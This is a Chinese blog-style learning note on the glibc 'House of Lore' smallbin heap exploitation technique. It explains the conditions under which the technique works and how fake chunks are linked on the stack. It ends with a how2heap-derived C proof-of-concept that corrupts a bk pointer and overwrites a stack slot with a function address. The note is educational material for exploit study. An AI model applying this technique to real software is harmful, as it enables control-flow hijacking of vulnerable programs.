欢迎光临散文网 会员登陆 & 注册

载酒堆学习笔记smallbinAttack-House of Lore

2023-07-21 18:04 作者:载酒携兰  | 我要投稿

smallbinAttack-House of Lore

本人技术很菜,有错处请大佬们批评指教~

存在于<glibc 2.31版本

【利用条件】

1、堆溢出写,需要写到bk位(不需要写到size!);

2、泄漏fd获得heap基址、泄漏栈基址;

3、不需要edit函数,就算是只有create带edit的情况下也能用;

【漏洞影响】

read限制大小不能够覆盖到retaddr的情况下,导致栈溢出覆盖到retaddr(不能过CANARY)

【原理】

我们需要构建smallbin→块①→块②→块③这样的结构,其中块②块③都是栈上缓冲区写下的fakechunk

  • 下面是一种构建方法:

    1、首先,直接构建以下的结构↓:

可以看到,这个真货①其实是在独自美丽,然后这两个假货②③跑过来伸出自己的fd碰瓷er~

2、然后,骚操作来了,现在我们来malloc一个largebin范围的chunk,这一操作有两个意义(一箭双雕):

(1)malloc在尝试从largebin中获得chunk时会触发 malloc_consolidate 使fastbin变成unsortedbin从而获得指向unsortedbin数组元素的fd和bk,如下图↓:

(2)然后,malloc因为在largebin中找不到合适的freechunk又会到unsortedbin中找,这又会触发遍历整理unsortedbin操作使得①这个victim进入到smallbin,而因为②③还没有被①的bk指,所以不算unsortedbin不会被遍历处理到!处理结果如下图↓:

3、最后,通过堆溢出写,使①的bk指向②,这样就形成了smallbin→块①→块②→块③这样的结构

构架实现后,malloc(victim大小)执行两次,即可控制到栈上的fakechunk对其进行edit操作,导致栈溢出写

【原理复现】

  • 参考以下的模拟程序↓:

    // $ gcc smallbin_test.c -o smallbin_test
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>

    void evil_func(){ puts("you are pwnned!"); }

    int main(int argc, char * argv[]){

        // 构建①即victim
      intptr_t *victim = malloc(100);
      intptr_t *victim_chunk = victim-2;//chunk 开始的位置

        // 构建②③这两个碰瓷哥
      intptr_t* stack_buffer_1[4] = {0};// ②
      intptr_t* stack_buffer_2[3] = {0};// ③
      stack_buffer_1[2] = victim_chunk;
      stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
      stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

        // 大坝
      void *p5 = malloc(1000);

        // 把①释放为fastbin,此时①的 fd、bk 为零
      free((void*)victim);
      // 这时候去申请一个 largebin范围的chunk,于是触发 malloc_consolidate 使之将①变为unsortedbin从而获得fd和bk,然后因为largebin没有匹配项就会导致程序去unsortbin然后去topchunk,而在去unsortedbin的时候会触发遍历处理unsortedbin导致①又被变为smallchunk,而此时②③因为没有被①的bk指而没有被当做unsortedbin处理掉~
      void *p2 = malloc(1200);

      // 现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向②,这就导致形成了一条①→②→③的smallbin链
      victim[1] = (intptr_t)stack_buffer_1;

      // 然后申请一个跟victm一样大小的chunk,这样就可以把victim回收变成一个allocated chunk,此时smallbin链中就应该是②→③
      void *p3 = malloc(100);// ①

      // 此时再malloc 一次,此时重点来了!虽然②的size字段是0,但是在glibc<2.31版本里,取smallbin只看在哪条smallbin链,没有看smallbin的size字段的冗余检查,所以此时被回收取出的是②
      char *p4 = malloc(100);// ②

        // 这里对②使用edit就可以导致类似栈溢出覆盖ret_Addr的效果
      intptr_t sc = (intptr_t)evil_func;
      memcpy((p4+40), &sc, 8);
    }

    👆以上代码改编自how to heap~



载酒堆学习笔记smallbinAttack-House of Lore的评论 (共 条)

分享到微博请遵守国家法律